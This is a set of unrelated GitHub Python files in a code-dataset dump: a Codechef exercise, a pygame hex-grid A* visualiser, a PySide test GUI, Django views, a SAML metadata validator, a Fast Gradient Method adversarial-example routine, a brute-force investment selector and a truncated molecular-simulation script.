int(input())\n li = []\n for i in range(N):\n ls = input().split(' ')\n cmd = ls[0]\n ls.pop(0)\n l = []\n for i in ls:\n l.append(int(i))\n if 'insert' in cmd:\n li[int(ls[0])] = int(ls[1])\n elif 'print' in cmd:\n print(li)\n elif 'remove' in cmd:\n for r, _ in enumerate(li):\n if len(l) > 0 and _ == l[1]:\n li.pop(r)\n break\n elif 'append' in cmd:\n for i in l:\n l.append(int(i))\n elif 'sort' in cmd:\n li.sort()\n elif 'pop' in cmd:\n li.pop(-1)\n elif 'reverse' in cmd:\n li.sort(reversed=True)\n","repo_name":"SuyeshBadge/Codes","sub_path":"Codechef/Lists.py","file_name":"Lists.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12490689820","text":"import multiprocessing\nimport time\nfrom math import cos, pi, sin, sqrt, dist\nimport threading\nimport pygame\n\n# -------------- changeable---------------------\n# Adjust size of hex, width of grid and height of grid\nCOLS = 24\nROWS = 32\n\nhex_width = 40\n\n# -------------- changeable finished------------\n\n# intelligent search heuristic\n# 1 is euclidean distance\n# 2 is Manhattan distance\nheuristic_setting = 2\n\n# Math to draw variable sized hex grids. Do not change---------------\nhex_quarter_width = hex_width // 4\nhex_radius = hex_width // 2 # 2 * distance center-corner\nhex_height = sqrt(3) * hex_radius # sqrt(3) * distance center-corner\nhorizontal_distance = hex_width * 1.5 # 3/4 * tile_width\nvertical_distance = hex_height\noffset_x = hex_width * 0.75\noffset_y = hex_height // 2\nwidth = int((COLS * horizontal_distance) + (hex_radius / 2))\nheight = int((ROWS * hex_height) + hex_height // 2)\nscreen = pygame.display.set_mode((width, height))\nsize = hex_radius\n\n# Colors\nWHITE = (255, 255, 255)\nGREY = (110, 110, 110)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\nBLACK = (0, 0, 0)\nPURPLE = (128, 0, 128)\nORANGE = (255, 165, 0)\nGREY = (128, 128, 128)\nTURQUOISE = (64, 224, 208)\n\n\nclass Node():\n def __init__(self, x_in, y_in, x_coord_in, y_coord_in):\n self.color = WHITE\n self.neighbours = [None, None, None, None, None, None] # used for moving by keyboard\n self.algorithm_neighbours = [] # used with the search algorithm\n self.parent = [] # reconstructs the path\n self.x = x_in\n self.y = y_in\n self.x_coord = x_coord_in\n self.y_coord = y_coord_in\n self.wall = False\n self.f = 0\n self.g = 0\n self.h = 0\n\n def change_col(self):\n self.color = BLACK\n\n def draw(self):\n draw_hexagon(screen, self.color, 6, hex_radius,\n ((self.x / 2) * horizontal_distance + hex_radius, self.y * vertical_distance + hex_radius), 0)\n\n def make_start(self):\n self.color = GREEN\n\n def make_end(self):\n self.color = RED\n\n def make_wall(self):\n self.color = BLACK\n self.wall = True\n\n def make_path(self):\n self.color = BLUE\n\n def make_visited(self):\n self.color = GREY\n\n def make_frontier(self):\n self.color = PURPLE\n\n def reset(self):\n self.color = WHITE\n self.wall = False\n\n def add_neighbours(self, grid_in):\n self.algorithm_neighbours = []\n\n if self.y_coord > 1 and (grid_in[self.x_coord][self.y_coord - 2]).wall is False:\n self.neighbours[0] = (grid_in[self.x_coord][self.y_coord - 2]) # add tile above\n self.algorithm_neighbours.append((grid_in[self.x_coord][self.y_coord - 2]))\n else:\n self.neighbours[0] = None\n\n if self.y_coord >= 1 and self.x_coord < COLS * 2 - 1 and (\n grid_in[self.x_coord + 1][self.y_coord - 1]).wall is False:\n self.neighbours[1] = (grid_in[self.x_coord + 1][self.y_coord - 1]) # add tile above-right\n self.algorithm_neighbours.append(grid_in[self.x_coord + 1][self.y_coord - 1])\n else:\n self.neighbours[1] = None\n\n if self.y_coord <= (ROWS * 2) - 2 and self.x_coord < COLS * 2 - 1 and grid_in[self.x_coord + 1][\n self.y_coord + 1].wall is False:\n self.neighbours[2] = (grid_in[self.x_coord + 1][self.y_coord + 1]) # add tile right-below\n self.algorithm_neighbours.append(grid_in[self.x_coord + 1][self.y_coord + 1])\n\n else:\n self.neighbours[2] = None\n\n if self.y_coord < (ROWS * 2) - 2 and (grid_in[self.x_coord][self.y_coord + 2]).wall is False:\n self.neighbours[3] = (grid_in[self.x_coord][self.y_coord + 2]) # add tile below\n self.algorithm_neighbours.append(grid_in[self.x_coord][self.y_coord + 2])\n else:\n self.neighbours[3] = None\n\n if self.y_coord <= (ROWS * 2) - 2 and self.x_coord > 0 and (\n grid_in[self.x_coord - 1][self.y_coord + 1]).wall is False:\n self.neighbours[4] = (grid_in[self.x_coord - 1][self.y_coord + 1]) # add tile below-left\n self.algorithm_neighbours.append(grid_in[self.x_coord - 1][self.y_coord + 1])\n else:\n self.neighbours[4] = None\n\n if self.x_coord > 0 and self.y_coord > 0 and (grid_in[self.x_coord - 1][self.y_coord - 1]).wall is False:\n self.neighbours[5] = (grid_in[self.x_coord - 1][self.y_coord - 1]) # add tile below-left\n self.algorithm_neighbours.append(grid_in[self.x_coord - 1][self.y_coord - 1])\n else:\n self.neighbours[5] = None\n\n\ndef update_single_neighbours(grid_in, node_in):\n for item in node_in.neighbours:\n try:\n item.add_neighbours(grid_in)\n except AttributeError:\n pass\n\n\ndef update_neighbours(grid_in):\n for row in grid_in:\n for item in row:\n try:\n item.add_neighbours(grid_in)\n except AttributeError:\n pass\n\n\ndef make_hex_node_grid_new():\n grid = []\n\n for x in range(0, COLS * 2):\n grid.append([])\n for y in range(0, ROWS * 2):\n grid[x].append([])\n\n for x_even in range(0, COLS * 2, 2):\n for y_even in range(0, ROWS * 2, 2):\n node = Node(x_even, y_even / 2, x_even, y_even)\n grid[x_even][y_even] = node\n\n for x_odd in range(1, COLS * 2, 2):\n for y_odd in range(1, ROWS * 2, 2):\n node = Node(x_odd, y_odd / 2, x_odd, y_odd)\n grid[x_odd][y_odd] = node\n\n return grid\n\n\ndef draw_new(grid_in):\n for row in grid_in:\n for hex_node in row:\n try:\n hex_node.draw()\n except AttributeError:\n # every other index is empty\n # cant be drawn\n pass\n\n draw_hex_grid()\n\n pygame.display.update()\n\n\ndef draw_hexagon(surface, color, vertex_count, radius, position, fill):\n n, r = vertex_count, radius\n x, y = position\n pygame.draw.polygon(surface, color, [\n (x + r * cos(2 * pi * i / n), y + r * sin(2 * pi * i / n))\n for i in range(n)\n ], fill)\n\n\ndef draw_hex_grid():\n for i in range(0, COLS):\n for j in range(ROWS):\n draw_hexagon(screen, GREY, 6, hex_radius,\n (i * horizontal_distance + hex_radius, j * vertical_distance + hex_radius), 1)\n\n draw_hexagon(screen, GREY, 6, hex_radius, (\n i * horizontal_distance + offset_x + hex_radius, j * vertical_distance + offset_y + hex_radius), 1)\n\n\ndef move_hex(direction, start_in):\n try:\n if start_in.neighbours[direction] is not None:\n start_in.neighbours[direction].make_start()\n start_in.reset()\n return start_in.neighbours[direction]\n\n else:\n return start_in\n except AttributeError:\n pass\n\n\ndef get_mouse_pos(pos_in):\n x, y = pos_in\n\n col_width = width // (COLS * 2) # DONE\n col_height = height // ROWS\n\n adjusted_x = x // col_width\n # The code here controles selecting the hexagons\n # There is overlap between the hexagons\n # the sweet spot is a small rectangle in the hexagon which solves the overlap\n sweet_spot_start = hex_quarter_width + ((hex_quarter_width * 3) * adjusted_x)\n sweet_spot_finish = ((hex_quarter_width * 3) * (adjusted_x + 1))\n if sweet_spot_start < x < sweet_spot_finish:\n final_x = adjusted_x\n else:\n final_x = None\n\n # if statement offsets the y for odd columns\n if adjusted_x == 0 or adjusted_x % 2 == 0:\n adjusted_y = (y // col_height)\n adjusted_y = adjusted_y * 2\n print(final_x, adjusted_y)\n return final_x, adjusted_y\n else:\n adjusted_y = (y + (hex_height // 2)) // col_height\n adjusted_y = adjusted_y * 2 - 1\n print(final_x, int(adjusted_y))\n return final_x, int(adjusted_y)\n\n\ndef reset_grid(grid_in):\n for row in grid_in:\n for item in row:\n try:\n item.reset()\n except AttributeError:\n pass\n\n\ndef heuristic(a, b, heuristic_in):\n if heuristic_in == 1:\n # euclidean distance\n d = dist((a.x, a.y), (b.x, b.y))\n else:\n # Manhattan distance\n d = abs(a.x - b.x) + abs(a.y - b.y)\n return d\n\n\ndef a_star(grid_in, start_in, end_in, heuristic_in):\n visited = set()\n frontier = [start_in]\n print(grid_in[0][0])\n\n show_path = True\n\n while True:\n if frontier:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n\n winner = 0\n\n for i in range(len(frontier)):\n if frontier[i].f < frontier[winner].f:\n winner = i\n\n current = frontier[winner]\n\n # Draw the path in real time\n path = []\n temp_goal = current\n path.append(temp_goal)\n while temp_goal.parent:\n path.append(temp_goal.parent)\n temp_goal = temp_goal.parent\n\n for item in path:\n item.make_path()\n item.draw()\n start_in.make_start()\n\n draw_new(grid_in)\n\n # Goal check\n if current == end_in:\n end_in.make_end()\n item.draw()\n print(\"Done\")\n break\n\n # This removes the outdated blue from the previous loop\n for item in visited:\n item.make_visited()\n item.draw()\n\n frontier.remove(current)\n visited.add(current)\n current.make_visited()\n item.draw()\n start_in.make_start()\n\n for item in current.algorithm_neighbours:\n if item not in visited:\n temp_g = current.g + 1\n\n new_path = False\n if item in frontier:\n if temp_g < item.g:\n item.g = temp_g\n new_path = True\n else:\n item.g = temp_g\n new_path = True\n frontier.append(item)\n item.make_frontier()\n item.draw()\n\n if new_path:\n item.h = heuristic(item, end_in, heuristic_in)\n item.f = item.g + item.h\n item.parent = current\n\n else:\n print(\"no path\")\n break\n\n\npath1 = []\n\n\ndef a_star_nopath(grid_in, start_in, end_in, heuristic_in):\n global path1\n visited = set()\n frontier = [start_in]\n\n print(\"searching\")\n\n while True:\n if frontier:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n\n winner = 0\n\n for i in range(len(frontier)):\n if frontier[i].f < frontier[winner].f:\n winner = i\n\n current = frontier[winner]\n\n # Draw the path in real time\n\n # draw_new(grid_in)\n path1 = []\n # Goal check\n if current == end_in:\n print(\"Done\")\n\n path1 = []\n temp_goal = current\n path1.append(temp_goal)\n while temp_goal.parent:\n path1.append(temp_goal.parent)\n temp_goal = temp_goal.parent\n # return path\n break\n\n frontier.remove(current)\n visited.add(current)\n\n for item in current.algorithm_neighbours:\n if item not in visited:\n temp_g = current.g + 1\n\n new_path = False\n if item in frontier:\n if temp_g < item.g:\n item.g = temp_g\n new_path = True\n else:\n item.g = temp_g\n new_path = True\n frontier.append(item)\n\n if new_path:\n item.h = heuristic(item, end_in, heuristic_in)\n item.f = item.g + item.h\n item.parent = current\n\n else:\n print(\"no path\")\n break\n\n\ndef chasealg(grid_in, start_in, heuristic_in):\n global end, start, path1\n\n while True:\n\n path = threading.Thread(target=a_star_nopath, args=(grid_in, start, end, heuristic_in))\n #path = multiprocessing.Process(target=a_star_nopath, args=(grid_in, start, end, heuristic_in))\n path.start()\n path.join()\n\n # for item in path1:\n if len(path1) > 5:\n for i in range(6):\n end.reset()\n end.draw()\n end = grid_in[path1[i].x_coord][path1[i].y_coord]\n end.make_end()\n end.draw()\n #pygame.display.update()\n time.sleep(0.1)\n if end == start:\n break\n\n\n print(\"fin\")\n end = None\n\n\ndef a_star_chase(grid_in, start_in, end_in, heuristic_in):\n global start, end\n # visited = set()\n frontier = [start_in]\n\n current = start_in\n\n while True:\n goal = start\n if current == goal:\n end = None\n break\n if frontier:\n current.reset()\n current.draw()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n\n winner = 0\n\n for i in range(len(frontier)):\n if frontier[i].f < frontier[winner].f:\n winner = i\n\n current = frontier[winner]\n frontier = []\n current.make_end()\n current.draw()\n\n # frontier.remove(current)\n # visited.add(current)\n\n for item in current.algorithm_neighbours:\n # if item not in visited:\n temp_g = current.g + 1\n\n new_path = False\n if item in frontier:\n if temp_g < item.g:\n item.g = temp_g\n new_path = True\n else:\n item.g = temp_g\n new_path = True\n frontier.append(item)\n\n if new_path:\n item.h = heuristic(item, goal, heuristic_in)\n item.f = item.g + item.h\n item.parent = current\n\n # Goal check\n pygame.display.update()\n time.sleep(0.3)\n\n # current.make_end()\n # draw_new(grid_in)\n\n # return current\n\n\nstart = None\nend = None\n\n\ndef main():\n global start, end\n running = True\n screen.fill(WHITE)\n grid = make_hex_node_grid_new()\n update_neighbours(grid)\n\n heuristic_choice = heuristic_setting\n\n while running:\n draw_new(grid)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT: # The user closed the window!\n running = False # Stop running\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_w:\n start = move_hex(0, start)\n if event.key == pygame.K_s:\n start = move_hex(3, start)\n if event.key == pygame.K_e:\n start = move_hex(1, start)\n if event.key == pygame.K_d:\n start = move_hex(2, start)\n if event.key == pygame.K_a:\n start = move_hex(4, start)\n if event.key == pygame.K_q:\n start = move_hex(5, start)\n\n if event.key == pygame.K_1:\n heuristic_choice = 1\n print(\"Euclidean\")\n if event.key == pygame.K_2:\n heuristic_choice = 2\n print(\"Manhattan\")\n\n if event.key == pygame.K_c:\n reset_grid(grid)\n start = None\n end = None\n\n if event.key == pygame.K_KP_ENTER:\n if start is not None and end is not None:\n #chase = threading.Thread(target=chasealg, args=(grid, start, heuristic_choice))\n # chase = multiprocessing.Process(target=chasealg, args=(grid, start, heuristic_choice))\n #chase.start()\n # print(\"run\")\n #a_star_chase(grid, end, start, heuristic_choice)\n chase = threading.Thread(target=a_star_chase, args=(grid, end, start, heuristic_choice))\n chase.start()\n\n if event.key == pygame.K_SPACE:\n if start is not None and end is not None:\n a_star(grid, start, end, heuristic_choice)\n\n if pygame.mouse.get_pressed()[0]: # LEFT\n pos = pygame.mouse.get_pos()\n row, col = get_mouse_pos(pos)\n try:\n spot = grid[row][col]\n\n if start is None:\n start = spot\n start.make_start()\n elif spot != start and end is None:\n end = spot\n end.make_end()\n else:\n if spot != start and spot != end:\n spot.make_wall()\n\n update_single_neighbours(grid, spot)\n except TypeError:\n pass\n except IndexError:\n pass\n except UnboundLocalError:\n pass\n\n if pygame.mouse.get_pressed()[2]: # RIGHT\n pos = pygame.mouse.get_pos()\n row, col = get_mouse_pos(pos)\n try:\n spot = grid[row][col]\n\n if spot == start:\n start = None\n elif spot == end:\n end = None\n\n spot.reset()\n update_single_neighbours(grid, spot)\n\n except TypeError:\n pass\n except IndexError:\n pass\n except UnboundLocalError:\n pass\n\n\nmain()\n","repo_name":"cjgsaunders/hex_search","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":18408,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12947562191","text":"#!/usr/bin/python\n\n# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nfrom PySide.QtGui import *\nfrom PySide.QtCore import *\nfrom tplan_ui import *\nfrom tplan_message_handler import TPlanMessageHandler\nimport Queue\n\napp_path = os.path.dirname(os.path.realpath(sys.argv[0]))\n\nclass Bridge(QObject):\n output = Signal(str)\n result = Signal(int, int)\n disconnected = Signal(str)\n\n def __init__(self):\n QObject.__init__(self)\n self.queue = Queue.Queue()\n\n def log(self, message):\n self.output.emit(message)\n\n def disconnect(self, reason):\n self.disconnected.emit(reason)\n\n def put(self, message):\n self.queue.put(message)\n\n def get(self):\n return self.queue.get()\n\n def empty(self):\n return self.queue.empty()\n\n def setBoard(self, board):\n self.board = board\n\n def getBoard(self):\n return self.board\n\n def setBoardId(self, n):\n self.boardId = n\n\n def getBoardId(self):\n return self.boardId\n\n def setBoardState(self, n, state):\n self.result.emit(n, state)\n\nclass TPlanUI(QtGui.QMainWindow, Ui_MainWindow):\n def __init__(self, bridge):\n super(TPlanUI, self).__init__(None)\n self.setupUi(self)\n\n self.selectButton = self.selectButton1\n self.selectButton.setChecked(True)\n self.selectButtons = [self.selectButton1, self.selectButton2,\n self.selectButton3, self.selectButton4]\n\n self.bridge = bridge\n\n self.bridge.setBoard(self.boardComboBox.currentText())\n self.bridge.setBoardId(1)\n self.bridge.output.connect(self.log)\n self.bridge.result.connect(self.on_result)\n self.bridge.disconnected.connect(self.on_disconnected)\n\n # self.selectButton1.setStyleSheet('QPushButton {background-color: rgb(255, 0, 0);}')\n\n self.autoButton.clicked.connect(self.on_auto_button_clicked)\n self.selectButton1.clicked.connect(self.on_select_button_clicked)\n self.selectButton2.clicked.connect(self.on_select_button_clicked)\n self.selectButton3.clicked.connect(self.on_select_button_clicked)\n self.selectButton4.clicked.connect(self.on_select_button_clicked)\n self.bootloaderButton.clicked.connect(self.on_bootloader_button_clicked);\n self.programButton.clicked.connect(self.on_program_button_clicked)\n self.interfaceButton.clicked.connect(self.on_interface_button_clicked)\n self.testButton.clicked.connect(self.on_test_button_clicked)\n self.resetButton.clicked.connect(self.on_reset_button_clicked)\n self.clearButton.clicked.connect(self.logTextEdit.clear)\n\n def log(self, text):\n self.logTextEdit.append(text)\n\n def on_disconnected(self, reason):\n self.log(reason)\n if self.autoButton.text() == 'Stop':\n self.autoButton.setText('Auto Test')\n self.manualGroupBox.setEnabled(True)\n self.log('<<<< Stop auto test <<<<')\n\n def on_result(self, n, state):\n if state == 0:\n self.selectButtons[n].setStyleSheet('QPushButton {background-color: rgb(85, 98, 112);}')\n if state == 1:\n self.selectButtons[n].setStyleSheet('QPushButton {background-color: rgb(78, 205, 196);}')\n if state == 2:\n self.selectButtons[n].setStyleSheet('QPushButton {background-color: rgb(199, 244, 100);}')\n if state == 3:\n self.selectButtons[n].setStyleSheet('QPushButton {background-color: rgb(255, 107, 107);}')\n\n def on_board_changed(self, index):\n self.bridge.setBoard(self.boardComboBox.currentText())\n\n def on_auto_button_clicked(self):\n if self.autoButton.text() == 'Auto Test':\n self.bridge.put('start')\n\n self.manualGroupBox.setEnabled(False)\n self.autoButton.setText('Stop')\n self.log('>>>> Start auto test >>>>')\n else:\n self.bridge.put('stop')\n\n self.autoButton.setText('Auto Test')\n self.manualGroupBox.setEnabled(True)\n self.log('<<<< Stop auto test <<<<')\n\n def on_select_button_clicked(self):\n self.bridge.setBoardId(int(self.sender().text()))\n if self.selectButton is not self.sender():\n self.selectButton.setChecked(False)\n self.selectButton = self.sender()\n if not self.selectButton.isChecked():\n self.selectButton.setChecked(True)\n\n\n def on_bootloader_button_clicked(self):\n self.bridge.put('write bootloader')\n\n def on_program_button_clicked(self):\n self.bridge.put('write program')\n\n def on_interface_button_clicked(self):\n self.bridge.put('write interface')\n\n def on_test_button_clicked(self):\n self.bridge.put('test target')\n\n def on_reset_button_clicked(self):\n self.bridge.put('reset target')\n\n def closeEvent(self, event):\n self.bridge.put('quit')\n # close all threads\n event.accept()\n\nif __name__ == '__main__':\n app = QtGui.QApplication(sys.argv)\n bridge = Bridge()\n message_handler = TPlanMessageHandler(bridge)\n message_handler.start()\n window = TPlanUI(bridge)\n\n window.show()\n app.exec_()\n message_handler.join()\n sys.exit(0)\n","repo_name":"Seeed-Studio/TPlan4AFB","sub_path":"tplan.py","file_name":"tplan.py","file_ext":"py","file_size_in_byte":5216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38550277417","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Product\nfrom django.utils import timezone\n# Create your views here.\n\ndef home(request):\n products = Product.objects\n return render(request, 'products/home.html', {'products':products})\n\ndef root(request):\n return redirect('home')\n\n@login_required\ndef create(request):\n if request.method == 'POST':\n if request.POST['product_name'] and request.POST['description'] and request.POST['url'] and request.FILES['icon'] and request.FILES['image']:\n product = Product()\n product.title = request.POST['product_name']\n product.description = request.POST['description']\n if request.POST['url'].startswith('http://') or request.POST['url'].startswith('http://'):\n product.url = request.POST['url']\n else:\n product.url = 'https://' + request.POST['url']\n product.icon = request.FILES['icon']\n product.image = request.FILES['image']\n product.publishing_date = timezone.datetime.now()\n product.author = request.user\n product.save()\n return redirect('/products/' + str(product.id))\n else:\n return render(request, 'products/create.html', {'error': 'All fields are required'})\n\n return render(request, 'products/create.html')\n\n@login_required\ndef remove(request, product_id):\n product = get_object_or_404(Product, pk=product_id)\n if product.DoesNotExist:\n return redirect('home')\n else:\n pass\n return render(request, 'products/remove.html')\n\n\ndef details(request, product_id):\n product = get_object_or_404(Product, pk=product_id)\n context={\n 'product': product\n }\n return render(request, 'products/details.html', context)\n\n@login_required(login_url=\"/accounts/signup\")\ndef upvote(request, product_id):\n if request.method == 'POST':\n product = get_object_or_404(Product, pk=product_id)\n product.votes += 1\n product.save()\n return redirect('/products/' + str(product_id))\n\n","repo_name":"Ankk98/product-hunt-clone-django","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1453558031","text":"import pdfkit\nimport time\n\ntest_url = 'http://10.0.0.93:7001/memberAnalysis/groups'\n\n\ndef get(get_name):\n # url = get_name\n # 文件路径\n # to_file = 'out.pdf'\n\n options = {\n 'encoding': \"utf-8\"\n }\n\n pdfkit.from_url(get_name, 'out.pdf', options=options)\n print('已生成pdf文件')\n\n\nget(test_url)\n","repo_name":"nexusme/leetcode_try","sub_path":"LeetCode/URLToPdf.py","file_name":"URLToPdf.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"30377621720","text":"\"\"\"The Fast Gradient Method attack.\"\"\"\nimport numpy as np\nimport torch\n\nfrom attacks.utils.utils import optimize_linear\n\n\ndef fast_gradient_method(\n model_fn,\n x,\n eps,\n norm,\n clip_min=None,\n clip_max=None,\n y=None,\n targeted=False,\n sanity_checks=False, loss_fn=torch.nn.MSELoss(),\n preprocess = None\n):\n if norm not in [np.inf, 1, 2]:\n raise ValueError(\n \"Norm order must be either np.inf, 1, or 2, got {} instead.\".format(norm)\n )\n if eps < 0:\n raise ValueError(\n \"eps must be greater than or equal to 0, got {} instead\".format(eps)\n )\n if eps == 0:\n return x\n if clip_min is not None and clip_max is not None:\n if clip_min > clip_max:\n raise ValueError(\n \"clip_min must be less than or equal to clip_max, got clip_min={} and clip_max={}\".format(\n clip_min, clip_max\n )\n )\n\n asserts = []\n\n # If a data range was specified, check that the input was in that range\n if clip_min is not None:\n assert_ge = torch.all(\n torch.ge(x, torch.tensor(clip_min, device=x.device, dtype=x.dtype))\n )\n asserts.append(assert_ge)\n\n if clip_max is not None:\n assert_le = torch.all(\n torch.le(x, torch.tensor(clip_max, device=x.device, dtype=x.dtype))\n )\n asserts.append(assert_le)\n\n # x needs to be a leaf variable, of floating point type and have requires_grad being True for\n # its grad to be computed and stored properly in a backward call\n x = x.clone().detach().to(torch.float).requires_grad_(True)\n if y is None:\n y = torch.tensor(1).float()\n\n # Compute loss\n if preprocess is not None:\n \tloss = loss_fn(model_fn(preprocess(x)), y) \n else:\n \tloss = loss_fn(model_fn(x), y)\n\n # If attack is targeted, minimizetargeted: loss of target label rather than maximize loss of correct label\n if targeted:\n loss = -loss\n\n # Define gradient of loss wrt input\n loss.backward()\n\n optimal_perturbation = optimize_linear(x.grad, eps, norm)\n\n # Add perturbation to original example to obtain adversarial example\n adv_x = x + optimal_perturbation\n\n # If clipping is needed, reset all values outside of [clip_min, clip_max]\n if (clip_min is not None) or (clip_max is not None):\n if clip_min is None or clip_max is None:\n raise ValueError(\n \n \"One of clip_min and clip_max is None but we don't currently support one-sided clipping\"\n )\n adv_x = torch.clamp(adv_x, clip_min, clip_max)\n\n if sanity_checks:\n assert np.all(asserts)\n return adv_x\n\n","repo_name":"hbrachemi/IQA_AttacksSurvey","sub_path":"attacks/fgm.py","file_name":"fgm.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27357684982","text":"#!/usr/bin/env python\n\"\"\"\n Simple Validator Service\n ~~~~~~~~~~~~~~~~~~~~~~~~\n \n This script starts up a web server with a page where a SAML metadata file can be uploaded.\n The uploaded file will be validated and the validation report is returned.\n\n Rainer Hoerbe, 2014-02-21\n\n\"\"\"\n__author__ = \"rhoerbe\"\n\nfrom werkzeug.wrappers import BaseRequest, BaseResponse\nfrom werkzeug.exceptions import HTTPException, NotFound\nfrom werkzeug.utils import secure_filename\nimport jinja2\nimport os\nimport random\nfrom saml_schtron.validator import ApiArgs, Validator\n\nclass AppHandler():\n\n def __init__(self, config):\n with open(os.path.join(config.templatedir, 'validate_srv_req.html'), 'r', encoding=\"utf-8\") as f:\n self.req_template = jinja2.Template(f.read())\n with open(os.path.join(config.templatedir, 'validate_srv_res.html'), 'r', encoding=\"utf-8\") as f:\n self.res_template = jinja2.Template(f.read())\n self.config = config\n self.p_dict = Validator.get_profiles()\n self.p_keys = Validator.get_profiles().keys()\n self.p_reverse = {}\n for (k, v) in Validator.get_profiles().items():\n self.p_reverse[v] = k\n\n\n def get_handler(self, req):\n return BaseResponse(self.req_template.render(profileoptions=self.config.profileoptions),\n mimetype='text/html')\n\n def post_handler(self, req):\n file = req.files['md_instance']\n fname = filename = secure_filename(file.filename)\n if not fname:\n return BaseResponse('no file uploaded', status=400)\n tmpfile = os.path.join(self.config.tempdir, fname + '_' + str(random.randrange(99999999)))\n file.save(tmpfile)\n # webservice client uses md_profile_key; browser uses md_profile\n if 'md_profile_key' in req.form:\n profile_key = secure_filename(req.form['md_profile_key'])\n profile_display_name = self.p_dict[profile_key]\n api_call = True\n elif 'md_profile' in req.form:\n profile_display_name = req.form['md_profile']\n if not profile_display_name in self.p_reverse:\n return BaseResponse('invalid metadata profile: ' + profile_display_name, status=400)\n profile_key = self.p_reverse[profile_display_name]\n api_call = False\n else:\n return BaseResponse('missing argument profile key', status=400)\n profile_file = profile_key + '.json'\n validator = Validator(ApiArgs(tmpfile, profile=profile_file).cliInvocation)\n if profile_key not in self.p_dict.keys():\n return BaseResponse('invalid profile key: ' + profile_key + ', need: ' + ', '.join(self.p_keys), status=400)\n validator_result = validator.validate()\n os.remove(tmpfile)\n json = ''.join(validator_result.get_json()) + '\\n'\n if api_call:\n return BaseResponse(json,\n mimetype='application/json',\n direct_passthrough=False)\n else:\n html = self.res_template.render(validationType=profile_display_name,\n fname=fname,\n val_out=json.replace(\"\\n\", \"
\"))\n return BaseResponse(html,\n mimetype='text/html',\n direct_passthrough=False)\n\n # WSGI handler\n def application(self, environ, start_response):\n req = BaseRequest(environ)\n if req.method == 'POST':\n resp = self.post_handler(req)\n elif req.method == 'GET':\n resp = self.get_handler(req)\n else:\n return BaseResponse('HTTP method not supported', mimetype='text/plain')\n return resp(environ, start_response)\n","repo_name":"identinetics/saml_schematron","sub_path":"saml_schtron/webapp/app_handler.py","file_name":"app_handler.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"26947600037","text":"import csv\nimport itertools as it\nimport time\n\nbegin = time.time()\n\n\nclass Share:\n def __init__(self, name, price, benefit):\n self.name = name\n self.price = price\n self.benefit = benefit\n\n\nclass Investor:\n def __init__(self, name, investment, money_left, bought_shares):\n self.name = name\n self.investment = investment\n self.money_left = money_left\n self.bought_shares = bought_shares\n\n\nlist_shares = []\nwith open(\"partie1.csv\", newline=\"\") as share_file:\n share_file = csv.DictReader(share_file)\n for row in share_file:\n share = Share(row[\"shares\"], float(row[\"prices\"]), float(row[\"benefit\"]))\n list_shares.append(share)\n\ninvestor1 = Investor(\"toto\", 400, 400, [])\ninvestor2 = Investor(\"titi\", 500, 500, [])\nlist_investors = [investor1, investor2]\n\nlist_shares = sorted(list_shares, key=lambda x: x.benefit, reverse=True)\nfor item in list_shares:\n print(item.benefit)\n\n\ndef profitability(bought_shares):\n all_benefit = 0\n for item in bought_shares:\n benefit = item.benefit * item.price / 100\n all_benefit += benefit\n return all_benefit\n\n\ndef investment(list_shares, investment):\n all_benefit = 0\n shares_in_box = []\n for i in range(1, len(list_shares) + 1):\n for combinations in it.combinations(list_shares, i):\n if sum(map(lambda item: item.price, combinations)) <= investment:\n profits = profitability(combinations)\n if profits > all_benefit:\n all_benefit = profits\n shares_in_box = combinations\n\n return shares_in_box\n\n\nshares_in_box = investment(list_shares, investor2.investment)\nend = time.time()\nduration = end - begin\nprint(\"duration=\", duration)\nsum_price = 0\nfor item in shares_in_box:\n sum_price += item.price\nsum_benefit = profitability(shares_in_box)\nend = time.time()\nduration = end - begin\nprint(\"somme dépensée = \", sum_price, \"bénéfice = \", sum_benefit)\nprint(\"duration=\", duration)\nfor item in shares_in_box:\n print(item.name)\nfile_save = open(\"bruteforce.txt\", \"w\")\nfile_save.write(f\"résultats pour le fichier: partie1.csv \\n\")\nfile_save.write(f\"somme dépensée = {sum_price} bénéfice = {sum_benefit}\\n\")\nfile_save.write(\"actions achetées: \\n\")\nfor share in shares_in_box:\n file_save.write(f\"{share.name}\\n\")\nfile_save.close()\n","repo_name":"znosco/p7","sub_path":"bruteforce.py","file_name":"bruteforce.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28034247057","text":"import numpy\nimport openmm\nimport openmm.app\nimport openmm.unit\nimport qm3\nimport qm3.utils\nimport qm3.engines.openmm\nimport qm3.engines.xtb\nimport qm3.engines.mmres\nimport qm3.actions.minimize\nimport qm3.utils.parallel\nimport sys\nimport os\nimport random\nimport pickle\nimport time\n\n\ncwd = os.path.abspath( os.path.dirname( sys.argv[0] ) ) + os.sep\ncon = qm3.utils.parallel.client_mpi()\n\nmol = qm3.molecule()\nmol.pdb_read( open( cwd + \"reac.pdb\" ) )\nmol.boxl = numpy.array( [ 